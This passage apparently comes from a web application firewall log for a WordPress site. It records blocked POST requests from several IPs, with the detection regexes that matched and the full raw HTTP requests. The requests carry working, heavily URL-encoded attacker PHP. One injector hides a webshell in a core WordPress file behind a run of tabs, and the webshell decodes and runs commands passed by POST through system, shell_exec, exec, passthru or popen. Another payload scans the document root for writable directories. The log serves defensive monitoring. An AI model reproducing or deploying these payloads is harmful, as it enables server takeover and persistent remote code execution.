B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 12:59:50","46.32.255.52","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ss:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-walker-category-dropdown.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524framework7%2520%253D%2520%2522pc%255Cx6Cos%255Cx65%2522%253B%2520%2524framework2%2520%253D%2520%2522shell_%255Cx65%255Cx78%255Cx65%255Cx63%2522%253B%2520%2524framework5%2520%253D%2520%2522%255Cx70ope%255Cx6E%2522%253B%2520%2524framework1%2520%253D%2520%2522%255Cx73%255Cx79%255Cx73tem%2522%253B%2520%2524token_parser_engine%2520%253D%2520%2522h%255Cx65x%255Cx32%255Cx62%255Cx69n%2522%253B%2520%2524framework6%2520%253D%2520%2522stream%255Cx5Fg%255Cx65t%255Cx5F%255Cx63o%255Cx6E%255Cx74%255Cx65nt%255Cx73%2522%253B%2520%2524framework3%2520%253D%2520%2522e%255Cx78%255Cx65c%2522%253B%2520%2524framework4%2520%253D%2520%2522%255Cx70as%255Cx73%255Cx74h%255Cx72u%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522v%255Cx61%255Cx6Cue%2522%255D%2529%2529%2520%257B%2520function%2520sync_manager%2520%2528%2520%2524item%2520%252C%2520%2524ptr%2520%2529%2520%257B%2520%2524hld%2520%253D%2520%2527%2527%2520%253B%2520%2524p%253D0%253B%2520while%2528%2524p%253Cstrlen%2528%2524item%2529%2529%257B%2520%2524hld.%253Dchr%2528ord%2528%2524item%255B%2524p%255D%2529%255E%2524ptr%2529%253B%2520%2524p%252B%252B%253B%2520%257D%2520return%2520%2524hld%253B%2520%257D%2520%2524value%2520%253D%2520%2524token_parser_engine%2528%2524_POST%255B%2522v%255Cx61%255Cx6Cue%2522%255D%2529%253B%2520%2524value%2520%253D%2520sync_manager%2528%2524value%252C%252034%2529%253B%2520if%2520%2528function_exists%2528%2524framework1%2529%2529%2520%257B%2520%2524framework1%2528%2524value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524framework2%2529%2529%2520%257B%2520print%2520%2524framework2%2528%2524value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524framework3%2529%2529%2520%257B%2520%2524framework3%2528%2524value%252C%2520%2524entity_item%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524entity_item%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524framework4%2529%2529%2520%257B%2520%2524framework4%2528%2524value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524framework5%2529%2520%2526%2526%2520function_exists%2528%2524framework6%2529%2520%2526%2526%2520function_exists%2528%2524framework7%2529%2529%2520%257B%2520%2524ptr_hld%2520%253D%2520%2524framework5%2528%2524value%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524ptr_hld%2529%2520%257B%2520%2524desc_tkn%2520%253D%2520%2524framework6%2528%2524ptr_hld%2529%253B%2520%2524framework7%2528%2524ptr_hld%2529%253B%2520print%2520%2524desc_tkn%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\naccept:*\/*\nsec-fetch-site:none\ncontent-length:5199\nsec-fetch-mode:navigate\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvp3ZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9uqKEbMKuwMKO0nJ9hplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\naccept-encoding:gzip,deflate\nsec-fetch-dest:document\n\nss=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-walker-category-dropdown.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524framework7%2520%253D%2520%2522pc%255Cx6Cos%255Cx65%2522%253B%2520%2524framework2%2520%253D%2520%2522shell_%255Cx65%255Cx78%255Cx65%255Cx63%2522%253B%2520%2524framework5%2520%253D%2520%2522%255Cx70ope%255Cx6E%2522%253B%2520%2524framework1%2520%253D%2520%2522%255Cx73%255Cx79%255Cx73tem%2522%253B%2520%2524token_parser_engine%2520%253D%2520%2522h%255Cx65x%255Cx32%255Cx62%255Cx69n%2522%253B%2520%2524framework6%2520%253D%2520%2522stream%255Cx5Fg%255Cx65t%255Cx5F%255Cx63o%255Cx6E%255Cx74%255Cx65nt%255Cx73%2522%253B%2520%2524framework3%2520%253D%2520%2522e%255Cx78%255Cx65c%2522%253B%2520%2524framework4%2520%253D%2520%2522%255Cx70as%255Cx73%255Cx74h%255Cx72u%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522v%255Cx61%255Cx6Cue%2522%255D%2529%2529%2520%257B%2520function%2520sync_manager%2520%2528%2520%2524item%2520%252C%2520%2524ptr%2520%2529%2520%257B%2520%2524hld%2520%253D%2520%2527%2527%2520%253B%2520%2524p%253D0%253B%2520while%2528%2524p%253Cstrlen%2528%2524item%2529%2529%257B%2520%2524hld.%253Dchr%2528ord%2528%2524item%255B%2524p%255D%2529%255E%2524ptr%2529%253B%2520%2524p%252B%252B%253B%2520%257D%2520return%2520%2524hld%253B%2520%257D%2520%2524value%2520%253D%2520%2524token_parser_engine%2528%2524_POST%255B%2522v%255Cx61%255Cx6Cue%2522%255D%2529%253B%2520%2524value%2520%253D%2520sync_manager%2528%2524value%252C%252034%2529%253B%2520if%2520%2528function_exists%2528%2524framework1%2529%2529%2520%257B%2520%2524framework1%2528%2524value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524framework2%2529%2529%2520%257B%2520print%2520%2524framework2%2528%2524value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524framework3%2529%2529%2520%257B%2520%2524framework3%2528%2524value%252C%2520%2524entity_item%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524entity_item%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524framework4%2529%2529%2520%257B%2520%2524framework4%2528%2524value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524framework5%2529%2520%2526%2526%2520function_exists%2528%2524framework6%2529%2520%2526%2526%2520function_exists%2528%2524framework7%2529%2529%2520%257B%2520%2524ptr_hld%2520%253D%2520%2524framework5%2528%2524value%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524ptr_hld%2529%2520%257B%2520%2524desc_tkn%2520%253D%2520%2524framework6%2528%2524ptr_hld%2529%253B%2520%2524framework7%2528%2524ptr_hld%2529%253B%2520print%2520%2524desc_tkn%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:00:06","38.95.35.74","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-walker-category-dropdown.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524framework7%2520%253D%2520%2522pc%255Cx6Cos%255Cx65%2522%253B%2520%2524framework2%2520%253D%2520%2522shell_%255Cx65%255Cx78%255Cx65%255Cx63%2522%253B%2520%2524framework5%2520%253D%2520%2522%255Cx70ope%255Cx6E%2522%253B%2520%2524framework1%2520%253D%2520%2522%255Cx73%255Cx79%255Cx73tem%2522%253B%2520%2524token_parser_engine%2520%253D%2520%2522h%255Cx65x%255Cx32%255Cx62%255Cx69n%2522%253B%2520%2524framework6%2520%253D%2520%2522stream%255Cx5Fg%255Cx65t%255Cx5F%255Cx63o%255Cx6E%255Cx74%255Cx65nt%255Cx73%2522%253B%2520%2524framework3%2520%253D%2520%2522e%255Cx78%255Cx65c%2522%253B%2520%2524framework4%2520%253D%2520%2522%255Cx70as%255Cx73%255Cx74h%255Cx72u%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522v%255Cx61%255Cx6Cue%2522%255D%2529%2529%2520%257B%2520function%2520sync_manager%2520%2528%2520%2524item%2520%252C%2520%2524ptr%2520%2529%2520%257B%2520%2524hld%2520%253D%2520%2527%2527%2520%253B%2520%2524p%253D0%253B%2520while%2528%2524p%253Cstrlen%2528%2524item%2529%2529%257B%2520%2524hld.%253Dchr%2528ord%2528%2524item%255B%2524p%255D%2529%255E%2524ptr%2529%253B%2520%2524p%252B%252B%253B%2520%257D%2520return%2520%2524hld%253B%2520%257D%2520%2524value%2520%253D%2520%2524token_parser_engine%2528%2524_POST%255B%2522v%255Cx61%255Cx6Cue%2522%255D%2529%253B%2520%2524value%2520%253D%2520sync_manager%2528%2524value%252C%252034%2529%253B%2520if%2520%2528function_exists%2528%2524framework1%2529%2529%2520%257B%2520%2524framework1%2528%2524value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524framework2%2529%2529%2520%257B%2520print%2520%2524framework2%2528%2524value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524framework3%2529%2529%2520%257B%2520%2524framework3%2528%2524value%252C%2520%2524entity_item%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524entity_item%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524framework4%2529%2529%2520%257B%2520%2524framework4%2528%2524value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524framework5%2529%2520%2526%2526%2520function_exists%2528%2524framework6%2529%2520%2526%2526%2520function_exists%2528%2524framework7%2529%2529%2520%257B%2520%2524ptr_hld%2520%253D%2520%2524framework5%2528%2524value%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524ptr_hld%2529%2520%257B%2520%2524desc_tkn%2520%253D%2520%2524framework6%2528%2524ptr_hld%2529%253B%2520%2524framework7%2528%2524ptr_hld%2529%253B%2520print%2520%2524desc_tkn%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-length:5222\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-walker-category-dropdown.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524framework7%2520%253D%2520%2522pc%255Cx6Cos%255Cx65%2522%253B%2520%2524framework2%2520%253D%2520%2522shell_%255Cx65%255Cx78%255Cx65%255Cx63%2522%253B%2520%2524framework5%2520%253D%2520%2522%255Cx70ope%255Cx6E%2522%253B%2520%2524framework1%2520%253D%2520%2522%255Cx73%255Cx79%255Cx73tem%2522%253B%2520%2524token_parser_engine%2520%253D%2520%2522h%255Cx65x%255Cx32%255Cx62%255Cx69n%2522%253B%2520%2524framework6%2520%253D%2520%2522stream%255Cx5Fg%255Cx65t%255Cx5F%255Cx63o%255Cx6E%255Cx74%255Cx65nt%255Cx73%2522%253B%2520%2524framework3%2520%253D%2520%2522e%255Cx78%255Cx65c%2522%253B%2520%2524framework4%2520%253D%2520%2522%255Cx70as%255Cx73%255Cx74h%255Cx72u%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522v%255Cx61%255Cx6Cue%2522%255D%2529%2529%2520%257B%2520function%2520sync_manager%2520%2528%2520%2524item%2520%252C%2520%2524ptr%2520%2529%2520%257B%2520%2524hld%2520%253D%2520%2527%2527%2520%253B%2520%2524p%253D0%253B%2520while%2528%2524p%253Cstrlen%2528%2524item%2529%2529%257B%2520%2524hld.%253Dchr%2528ord%2528%2524item%255B%2524p%255D%2529%255E%2524ptr%2529%253B%2520%2524p%252B%252B%253B%2520%257D%2520return%2520%2524hld%253B%2520%257D%2520%2524value%2520%253D%2520%2524token_parser_engine%2528%2524_POST%255B%2522v%255Cx61%255Cx6Cue%2522%255D%2529%253B%2520%2524value%2520%253D%2520sync_manager%2528%2524value%252C%252034%2529%253B%2520if%2520%2528function_exists%2528%2524framework1%2529%2529%2520%257B%2520%2524framework1%2528%2524value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524framework2%2529%2529%2520%257B%2520print%2520%2524framework2%2528%2524value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524framework3%2529%2529%2520%257B%2520%2524framework3%2528%2524value%252C%2520%2524entity_item%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524entity_item%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524framework4%2529%2529%2520%257B%2520%2524framework4%2528%2524value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524framework5%2529%2520%2526%2526%2520function_exists%2528%2524framework6%2529%2520%2526%2526%2520function_exists%2528%2524framework7%2529%2529%2520%257B%2520%2524ptr_hld%2520%253D%2520%2524framework5%2528%2524value%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524ptr_hld%2529%2520%257B%2520%2524desc_tkn%2520%253D%2520%2524framework6%2528%2524ptr_hld%2529%253B%2520%2524framework7%2528%2524ptr_hld%2529%253B%2520print%2520%2524desc_tkn%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 13:00:25","78.142.18.172","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> Ix:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFKtvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvrS9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\ncontent-length:3811\nsec-fetch-dest:document\n\nIx=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r